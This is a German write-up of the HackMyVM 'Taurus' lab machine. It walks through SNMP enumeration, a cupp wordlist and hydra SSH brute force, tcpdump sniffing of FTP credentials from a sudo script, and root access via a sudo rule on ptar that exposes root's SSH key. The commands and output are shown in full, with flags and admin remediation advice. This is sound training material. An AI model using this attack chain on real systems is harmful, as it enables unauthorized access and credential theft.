Taurus - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
snmp-check
cupp
hydra
ssh
sudo
bash
tcpdump
ptar
tar
ls
cat
cd
vi

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[/home/cyber/Downloads] └─# arp-scan -l
192.168.2.125	08:00:27:69:1e:d7	PCS Systemtechnik GmbH

Analyse: Der Befehl `arp-scan -l` wird zur Identifizierung von Hosts im lokalen Netzwerksegment mittels ARP-Anfragen verwendet. Es wird ein Host mit der IP-Adresse 192.168.2.125 und der MAC-Adresse 08:00:27:69:1e:d7 (zugeordnet zu PCS Systemtechnik GmbH / Oracle VirtualBox) gefunden.

Bewertung: Das Zielsystem "Taurus" wurde erfolgreich im Netzwerk lokalisiert. Die IP 192.168.2.125 ist die Basis für alle weiteren Scans und Interaktionen.

Empfehlung (Pentester): Notieren Sie die Ziel-IP. Führen Sie als Nächstes Port-Scans (z.B. mit `nmap`) durch, um offene Dienste zu ermitteln.
Empfehlung (Admin): Netzwerksegmentierung kann die Sichtbarkeit von Hosts für ARP-Scans reduzieren. Überwachen Sie das Netzwerk auf ungewöhnliche ARP-Aktivitäten.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -sV -A 192.168.2.125 -p-
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-08 17:55 CEST
Nmap scan report for vulny (192.168.2.125) <-- Hostname 'vulny'? Später als taurus.hmv referenziert.
Host is up (0.00015s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE    SERVICE VERSION
21/tcp filtered ftp     <-- FTP ist gefiltert
22/tcp open     ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 9e:f1:ed:84:cc:41:8c:7e:c6:92:a9:b4:29:57:bf:d1 (RSA)
|   256 9f:f3:93:db:72:ff:cd:4d:5f:09:3e:dc:13:36:49:23 (ECDSA)
|_  256 e7:a3:72:dd:d5:af:e2:b5:77:50:ab:3d:27:12:0f:ea (ED25519)
MAC Address: 08:00:27:69:1E:D7 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.15 ms vulny (192.168.2.125)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in XX.XX seconds

Analyse: Ein umfassender Nmap-Scan (`-p-` alle Ports, `-sS` SYN, `-sC` Scripts, `-T5` Timing, `-sV` Version, `-A` Aggressive) auf 192.168.2.125 identifiziert nur einen offenen TCP-Port:

Port 21 (FTP) wird als `filtered` angezeigt, was bedeutet, dass Nmap keine definitive Antwort erhielt (möglicherweise durch eine Firewall blockiert). Die OS-Erkennung deutet auf Linux hin.

Bewertung: Die primäre Angriffsfläche ist der SSH-Dienst auf Port 22. Die Filterung von Port 21 macht FTP als direkten Angriffsvektor unwahrscheinlich, schließt aber nicht aus, dass der Dienst lokal läuft oder unter bestimmten Bedingungen erreichbar ist. Der Hostname wird hier als `vulny` erkannt, später aber als `taurus.hmv` referenziert - dies könnte ein Konfigurationsdetail oder ein Hinweis sein.

Empfehlung (Pentester): Konzentrieren Sie die Enumeration auf den SSH-Dienst (Benutzerenumeration, Brute-Force mit gängigen/vermuteten Benutzernamen). Führen Sie zusätzliche Scans durch, insbesondere UDP-Scans (`nmap -sU`) und prüfen Sie auf alternative Webserver-Ports (`nmap -p 80,443,8000,8080...`). Führen Sie SNMP-Enumeration durch, falls UDP-Port 161 offen ist.
Empfehlung (Admin): Stellen Sie sicher, dass nur notwendige Ports offen und zugänglich sind. Konfigurieren Sie Firewalls korrekt. Verwenden Sie sichere SSH-Konfigurationen (Key-Auth bevorzugen, Root-Login deaktivieren, Fail2ban).

Enumeration (SNMP, Username Profiling)

┌──(root㉿cyber)-[~] └─# snmp-check 192.168.2.125
snmp-check v1.9 - SNMP enumerator
[...]
[+] Try to connect to 192.168.2.125:161 using SNMPv1 and community 'public'

[*] System information:

  Host IP address               : 192.168.2.125
  Hostname                      : "I Love My Name, Don't You, Little Hackers ?" <-- Ungewöhnlicher Hostname
  Description                   : Linux taurus 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64
  Contact                       : Sarah  <-- Benutzername/Email!
  Location                      : Unknown
  Uptime snmp                   : 00:04:58.89
  Uptime system                 : 00:04:50.82
  System date                   : 2022-10-8 17:58:08.0
[...] # Weitere SNMP-Informationen (Prozesse, Netzwerk etc.) nicht im Log gezeigt

Analyse: `snmp-check` wird verwendet, um SNMP-Informationen vom Ziel über den Standard-UDP-Port 161 mit dem Community-String `public` abzufragen. Der Versuch ist erfolgreich und liefert wertvolle Informationen:

Bewertung: Kritischer Fund durch SNMP-Enumeration! Der offene SNMP-Dienst mit dem Standard-Community-String `public` leakt Systeminformationen und vor allem einen Benutzernamen (`sarah`). Dies ist der Schlüssel für den nächsten Schritt.

Empfehlung (Pentester): Verwenden Sie den Benutzernamen `sarah` als Ziel für einen SSH-Brute-Force-Angriff. Erstellen Sie eine benutzerdefinierte Wortliste für `sarah` (z.B. mit `cupp`) oder verwenden Sie Standardlisten.
Empfehlung (Admin): Deaktivieren Sie den SNMP-Dienst, wenn er nicht benötigt wird. Wenn er benötigt wird, ändern Sie den Standard-Community-String `public` (und `private`) in starke, nicht erratbare Strings. Beschränken Sie den SNMP-Zugriff auf vertrauenswürdige Management-IPs. Konfigurieren Sie SNMP so, dass keine sensiblen Informationen (wie Kontakt/Benutzernamen) preisgegeben werden.

┌──(root㉿cyber)-[~] └─# cupp -i
 [...]
[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: sarah
> Surname: [Enter]
> Nickname: [Enter]
> Birthdate (DDMMYYYY): [Enter]
[...]
> Pet's name: [Enter]
> Company name: [Enter]
> Do you want to add some key words about the victim? Y/[N]: N
> Do you want to add special chars at the end of words? Y/[N]: N
> Do you want to add some random numbers at the end of words? Y/[N]: Y <-- Zahlen werden angehängt
> Leet mode? (i.e. leet = 1337) Y/[N]: N

[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to sarah.txt, counting 108 words.
[+] Now load your pistolero with sarah.txt and shoot! Good luck!

Analyse: Das Tool `cupp` (Common User Passwords Profiler) wird im interaktiven Modus (`-i`) verwendet, um eine benutzerdefinierte Passwortliste zu erstellen. Als einzige Information wird der Vorname `sarah` (aus SNMP) eingegeben. Es wird ausgewählt, dass Zufallszahlen am Ende angehängt werden sollen. Das Ergebnis ist eine Wortliste namens `sarah.txt` mit 108 Passwortkandidaten.

Bewertung: Sinnvoller Schritt, um eine gezielte, kleine Wortliste für den Brute-Force-Angriff auf den Benutzer `sarah` zu erstellen, basierend auf der Annahme, dass das Passwort möglicherweise Variationen ihres Namens enthält.

Empfehlung (Pentester): Verwenden Sie die erstellte `sarah.txt` mit einem Brute-Force-Tool wie `hydra` gegen den SSH-Dienst für den Benutzer `sarah`.
Empfehlung (Admin): Weisen Sie Benutzer an, keine Passwörter zu verwenden, die leicht aus persönlichen Informationen abgeleitet werden können.

Initial Access (SSH Brute Force)

┌──(root㉿cyber)-[~] └─# hydra -t64 -T64 -V ssh://192.168.2.125 -l sarah -P sarah.txt
[...]
[22][ssh] host: 192.168.2.125   login: sarah   password: Sarah_2012 <-- Erfolg!
[...]

Analyse: `hydra` wird verwendet, um einen SSH-Brute-Force-Angriff gegen 192.168.2.125 durchzuführen. `-t64 -T64` setzt die Anzahl der Tasks für Hosts und Logins (sehr aggressiv). `-V` aktiviert den Verbose-Modus. `-l sarah` gibt den Zielbenutzernamen an. `-P sarah.txt` verwendet die zuvor mit `cupp` erstellte Wortliste.

Bewertung: Erfolgreich! Hydra findet das gültige Passwort `Sarah_2012` für den Benutzer `sarah`.

Empfehlung (Pentester): Verwenden Sie die gefundenen Zugangsdaten (`sarah`:`Sarah_2012`), um sich per SSH am Zielsystem anzumelden.
Empfehlung (Admin): Implementieren Sie Fail2ban oder ähnliche Schutzmechanismen gegen SSH-Brute-Force-Angriffe. Erzwingen Sie starke, nicht leicht zu erratende Passwörter. Überwachen Sie fehlgeschlagene Login-Versuche.

┌──(root㉿cyber)-[~] └─# ssh sarah@taurus.hmv
<-- Annahme: taurus.hmv wurde zu /etc/hosts hinzugefügt
The authenticity of host 'taurus.hmv (192.168.2.125)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'taurus.hmv' (ED25519) to the list of known hosts.
sarah@taurus.hmv's password: [Passworteingabe: Sarah_2012]
Linux taurus 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64
[...]
Last login: Sat Oct 16 21:19:01 2021 from 192.168.0.28
sarah@taurus:~$ # Login erfolgreich!

Analyse: Eine SSH-Verbindung wird als Benutzer `sarah` zum Host `taurus.hmv` (der zuvor vermutlich zur `/etc/hosts`-Datei hinzugefügt wurde) aufgebaut. Das mit Hydra gefundene Passwort `Sarah_2012` wird verwendet.

Bewertung: Initial Access erfolgreich! Eine interaktive Shell als Benutzer `sarah` wurde erlangt.

Empfehlung (Pentester): Beginnen Sie mit der Enumeration als `sarah`. Überprüfen Sie die `sudo`-Rechte (`sudo -l`), suchen Sie nach interessanten Dateien im Home-Verzeichnis, SUID-Binaries usw., um Wege zur Privilege Escalation zu finden.
Empfehlung (Admin): Ändern Sie das kompromittierte Passwort für `sarah`. Überprüfen Sie die Systemkonfiguration (insbesondere SNMP), die zur Kompromittierung geführt hat.

Proof of Concept (FTP Credential Sniffing via Sudo Script)

Kurzbeschreibung: Der Benutzer `sarah` verfügt über `sudo`-Rechte, um das Skript `/opt/ftp` mittels `/usr/bin/bash` als Benutzer und Gruppe `marion` auszuführen. Dieses Skript stellt intern eine FTP-Verbindung zu `localhost` her und verwendet dabei hartcodierte oder anderweitig unsicher gespeicherte Zugangsdaten für den Benutzer `marion`. Da die FTP-Verbindung unverschlüsselt über das Loopback-Interface (`lo`) läuft, kann `sarah` (die das Skript auslösen kann) gleichzeitig mit `tcpdump` den Netzwerkverkehr auf `lo` mitschneiden. Im mitgeschnittenen Traffic sind die FTP-Login-Daten (Benutzer `marion` und das zugehörige Passwort) im Klartext sichtbar.

Voraussetzungen:

Schritt-für-Schritt Anleitung:

  1. `tcpdump` starten: Starten Sie `tcpdump` in einem Terminalfenster oder im Hintergrund, um den Verkehr auf dem Loopback-Interface (`lo`) mitzuschneiden und nach ASCII-Daten zu suchen.
    sarah@taurus:~$ tcpdump -A -s 10240 -i lo
    tcpdump: listening on lo...
  2. Sudo-Skript ausführen: Führen Sie in einem anderen Terminal (oder nach dem Start von `tcpdump` im Hintergrund) das `sudo`-privilegierte Skript aus.
    sarah@taurus:~$ sudo -u marion /usr/bin/bash /opt/ftp
    ftp connection opened.
    ftp connection closed.
  3. `tcpdump`-Ausgabe analysieren: Beenden Sie `tcpdump` (Strg+C) und untersuchen Sie die Ausgabe. Suchen Sie nach FTP-Befehlen wie `USER` und `PASS`.
    [...]
    18:12:38.737043 IP6 localhost.47700 > localhost.ftp: Flags [P.], seq 0:14, ack 1, win 512, [...] length 14: FTP: USER marion
    [...]
    18:12:38.738054 IP6 localhost.47700 > localhost.ftp: Flags [P.], seq 14:32, ack 70, win 512, [...] length 18: FTP: PASS ilovesushis
    [...]
    18:12:38.758353 IP6 localhost.ftp > localhost.47700: Flags [P.], seq 70:97, ack 32, win 512, [...] length 27: FTP: 230 User marion logged in
    [...]
    18:12:38.758411 IP6 localhost.ftp > localhost.47700: Flags [P.], seq 97:111, ack 38, win 512, [...] length 14: FTP: 221 Goodbye.
    

Erwartetes Ergebnis: Die Klartext-Zugangsdaten für den Benutzer `marion` (Passwort: `ilovesushis`) werden aus dem mitgeschnittenen FTP-Verkehr extrahiert.

Beweismittel: Die Ausgabe von `tcpdump`, die die `USER marion`- und `PASS ilovesushis`-Befehle im Klartext zeigt.

Risikobewertung: Mittel bis Hoch. Obwohl die Zugangsdaten nur lokal übertragen werden, ermöglicht die unsichere `sudo`-Regel einem Benutzer (`sarah`), diese auszuspähen und sich als ein anderer Benutzer (`marion`) auszugeben, was zu einer horizontalen oder vertikalen Rechteausweitung führt.

Empfehlungen zur Behebung:

Privilege Escalation (Sudo ptar Abuse)

sarah@taurus:~$ sudo -l
Matching Defaults entries for sarah on taurus:
    env_reset, mail_badpass, secure_path=[...]

User sarah may run the following commands on taurus:
    (marion : marion) NPASSWD: /usr/bin/bash /opt/ftp

Analyse: Der Befehl `sudo -l` für den Benutzer `sarah` wird ausgeführt. Er bestätigt, dass `sarah` `/usr/bin/bash /opt/ftp` als Benutzer und Gruppe `marion` ohne Passwort ausführen darf.

Bewertung: Dies ist der Ausgangspunkt für die Eskalation zum Benutzer `marion` durch Ausnutzung des FTP-Credential-Sniffing (siehe POC).

Empfehlung (Pentester): Führen Sie das Skript aus und sniffen Sie den Loopback-Traffic mit `tcpdump`, um die Zugangsdaten für `marion` zu erhalten.
Empfehlung (Admin): Überprüfen Sie die Notwendigkeit und Sicherheit dieser `sudo`-Regel.

sarah@taurus:~$ sudo -u marion /usr/bin/bash /opt/ftp
ftp connection opened.
ftp connection closed.
sarah@taurus:~$ tcpdump -A -s 10240 -i lo
[...]
18:12:38.738054 IP6 localhost.47700 > localhost.ftp: Flags [P.], [...] length 18: FTP: PASS ilovesushis
[...]
18:12:38.758353 IP6 localhost.ftp > localhost.47700: Flags [P.], [...] length 27: FTP: 230 User marion logged in
[...]

Analyse: Das `sudo`-Kommando wird ausgeführt, während `tcpdump` auf dem Loopback-Interface lauscht. Die `tcpdump`-Ausgabe fängt die FTP-Kommunikation ab und enthüllt das Klartext-Passwort `ilovesushis` für den Benutzer `marion`.

Bewertung: Die Zugangsdaten für `marion` wurden erfolgreich ausgespäht.

Empfehlung (Pentester): Wechseln Sie zum Benutzer `marion` (z.B. via `su marion` oder `ssh marion@localhost`) unter Verwendung des Passworts `ilovesushis`.
Empfehlung (Admin): `sudo`-Regel und `/opt/ftp`-Skript absichern.

# Wechsel zu marion (impliziert, z.B. su marion)
marion@taurus:/home/sarah$ sudo -l
Matching Defaults entries for marion on taurus:
    env_reset, mail_badpass, secure_path=[...]

User marion may run the following commands on taurus:
    (ALL) NPASSWD: /usr/bin/ptar

Analyse: Nach dem (implizierten) Wechsel zum Benutzer `marion` wird `sudo -l` ausgeführt. Es zeigt sich, dass `marion` den Befehl `/usr/bin/ptar` als jeder Benutzer (`ALL`), also auch als `root`, ohne Passwort (`NOPASSWD`) ausführen darf.

Bewertung: Dies ist der entscheidende Vektor für die Eskalation zu Root! `/usr/bin/ptar` ist wahrscheinlich eine Variante von `tar`. Da `tar` (und vermutlich auch `ptar`) verwendet werden kann, um beliebige Dateien zu lesen oder zu schreiben, ermöglicht diese `sudo`-Regel die vollständige Systemübernahme.

Empfehlung (Pentester): Nutzen Sie `/usr/bin/ptar` mit `sudo`, um Root-Rechte zu erlangen: 1. Lesen Sie sensible Dateien: `sudo /usr/bin/ptar -cf - /root/root.txt | tar -xf - -O` oder archivieren Sie `/root` und extrahieren Sie es in `/tmp`. 2. Schreiben Sie Dateien: Erstellen Sie einen SSH-Schlüssel, archivieren Sie den öffentlichen Schlüssel und verwenden Sie `sudo /usr/bin/ptar` zum Entpacken nach `/root/.ssh/authorized_keys`. 3. Führen Sie eine Shell aus (falls `ptar` Checkpoints oder ähnliche Optionen unterstützt): Prüfen Sie `gtfobins.github.io/gtfobins/tar/` für Techniken.
Empfehlung (Admin): Entfernen Sie diese extrem gefährliche `sudo`-Regel sofort. Gewähren Sie niemals Rechte für Archivierungstools wie `tar` oder seine Varianten als Root, wenn der Benutzer nicht bereits Root ist.

marion@taurus:/tmp$ sudo /usr/bin/ptar -cf user.tar /home/marion
[Keine Ausgabe]
marion@taurus:/tmp$ sudo /usr/bin/ptar -cf root.tar /root
[Keine Ausgabe]
marion@taurus:/tmp$ sudo /usr/bin/ptar -t -f root.tar
/root
/root/.bashrc
/root/root.txt
/root/.profile
/root/.bash_history
/root/.local
/root/.local/share
/root/.local/share/nano
/root/.ssh
/root/.ssh/authorized_keys
/root/.ssh/id_rsa

Analyse: Der Benutzer `marion` nutzt die `sudo`-Berechtigung, um `ptar` als Root auszuführen. Zuerst werden Archive von `/home/marion` und (entscheidend) `/root` erstellt und in `/tmp` gespeichert. Anschließend wird der Inhalt von `root.tar` aufgelistet (`-t`), was bestätigt, dass sensible Dateien wie `root.txt` und der private SSH-Schlüssel von Root (`id_rsa`) im Archiv enthalten sind.

Bewertung: Die `sudo`-Regel wurde erfolgreich genutzt, um auf Root-Dateien zuzugreifen, indem sie in ein Archiv gepackt wurden, das `marion` dann lesen kann.

Empfehlung (Pentester): Extrahieren Sie das `root.tar`-Archiv in einem beschreibbaren Verzeichnis (z.B. `/tmp`), um auf die darin enthaltenen Dateien zuzugreifen.
Empfehlung (Admin): `sudo`-Regel entfernen.

marion@taurus:/tmp$ tar -xf root.tar -C /tmp/
tar: Removing leading `/' from member names
tar: Removing leading `/' from member names
marion@taurus:/tmp$ ls -la
[...]
drwx------  4 marion marion  4096 Oct 16  2021 root <-- Extrahiertes Verzeichnis
-rw-r--r--  1 root   root   12800 Oct  8 18:20 root.tar
[...]
marion@taurus:/tmp$ cd root/
[Keine Ausgabe]
marion@taurus:/tmp/root$ ls
root.txt
marion@taurus:/tmp/root$ cat root.txt
f3c6d27bbd3e9cf452c6c4258d316ce0

Analyse: Das Archiv `root.tar` wird mit dem Standard-`tar`-Befehl in `/tmp` entpackt (dies funktioniert, da `marion` Lesezugriff auf das Archiv hat und Schreibzugriff in `/tmp`). Das Verzeichnis `/tmp/root` wird erstellt. Darin wird die Datei `root.txt` gefunden und ihr Inhalt (die Root-Flag) gelesen.

Bewertung: Die Root-Flag wurde erfolgreich extrahiert. Dies wäre ein gültiger Endpunkt, aber der nächste Schritt zeigt die Eskalation zu einer interaktiven Root-Shell.

Empfehlung (Pentester): Lesen Sie auch den privaten SSH-Schlüssel (`/tmp/root/.ssh/id_rsa`) und verwenden Sie ihn für einen SSH-Login als `root` zur Bestätigung.
Empfehlung (Admin): `sudo`-Regel entfernen.

marion@taurus:/tmp/root$ cd .ssh
[Keine Ausgabe]
marion@taurus:/tmp/root/.ssh$ ls
authorized_keys  id_rsa
marion@taurus:/tmp/root/.ssh$ ssh -i id_rsa root@localhost
Linux taurus 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64
[...]
root@taurus:~# # Root-Shell erhalten!

Analyse: Im extrahierten Verzeichnis `/tmp/root/.ssh` wird die private SSH-Schlüsseldatei `id_rsa` gefunden. Der Befehl `ssh -i id_rsa root@localhost` wird ausgeführt, um sich lokal als `root` mit diesem Schlüssel anzumelden.

Bewertung: Privilege Escalation zu einer interaktiven Root-Shell erfolgreich abgeschlossen! Durch das Archivieren und Extrahieren des `/root`-Verzeichnisses mittels `sudo ptar` konnte der private SSH-Schlüssel von Root erlangt und für den Login verwendet werden.

Empfehlung (Pentester): Root-Zugriff bestätigt. Überprüfen Sie die User-Flag im Home-Verzeichnis von `marion`.
Empfehlung (Admin): `sudo`-Regel entfernen. Überprüfen Sie die Sicherheit von SSH-Schlüsseln.

root@taurus:~# cd /home/marion/
[Keine Ausgabe]
root@taurus:/home/marion# ls
user.txt
root@taurus:/home/marion# cat user.txt
17f97ddf297442c5ecf0230a8db97e9b

Analyse: Als Root wird in das Home-Verzeichnis von `marion` gewechselt und die Datei `user.txt` ausgelesen.

Bewertung: Die User-Flag wurde erfolgreich extrahiert (obwohl sie technisch gesehen dem Benutzer `marion` zugeordnet ist).

Empfehlung (Pentester): Beide Flags gefunden. Bericht abschließen.
Empfehlung (Admin): Keine Aktion bezüglich der Flag.

Flags

cat /home/marion/user.txt
17f97ddf297442c5ecf0230a8db97e9b
cat /root/root.txt (via ptar extraction)
f3c6d27bbd3e9cf452c6c4258d316ce0